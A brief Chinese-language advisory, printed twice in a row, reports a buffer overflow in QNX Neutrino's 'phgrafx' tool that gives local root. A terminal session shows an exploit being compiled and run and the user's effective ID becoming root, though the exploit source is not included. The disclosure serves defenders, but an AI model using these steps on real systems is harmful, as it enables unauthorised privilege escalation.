QNX Neutrino是嵌入式设备的微内核实时操作系统。 QNX Neutrino的\"phgrafx\"工具中存在缓冲区溢出漏洞,恶意用户可以利用这个漏洞在本地获得权限提升。 例如: qnx$ uname -a; id QNX qnx 6.3.0 2004/04/29-21:23:19UTC x86pc x86 uid=6(deadbeef) gid=1(bin) groups=0(root),3(sys),4(adm),5(tty) qnx$ gcc phex.c -o phex -W qnx$ ./phex shellcode length: 21 address: 0x8047a2c Warning: can not find palette under \'\'55°| ØH æ1°\'\'. # id uid=6(deadbeef) gid=1(bin) euid=0(root) groups=0(root),3(sys),4(adm),5(tty) #
QNX Neutrino是嵌入式设备的微内核实时操作系统。 QNX Neutrino的\"phgrafx\"工具中存在缓冲区溢出漏洞,恶意用户可以利用这个漏洞在本地获得权限提升。 例如: qnx$ uname -a; id QNX qnx 6.3.0 2004/04/29-21:23:19UTC x86pc x86 uid=6(deadbeef) gid=1(bin) groups=0(root),3(sys),4(adm),5(tty) qnx$ gcc phex.c -o phex -W qnx$ ./phex shellcode length: 21 address: 0x8047a2c Warning: can not find palette under \'\'55°| ØH æ1°\'\'. # id uid=6(deadbeef) gid=1(bin) euid=0(root) groups=0(root),3(sys),4(adm),5(tty) #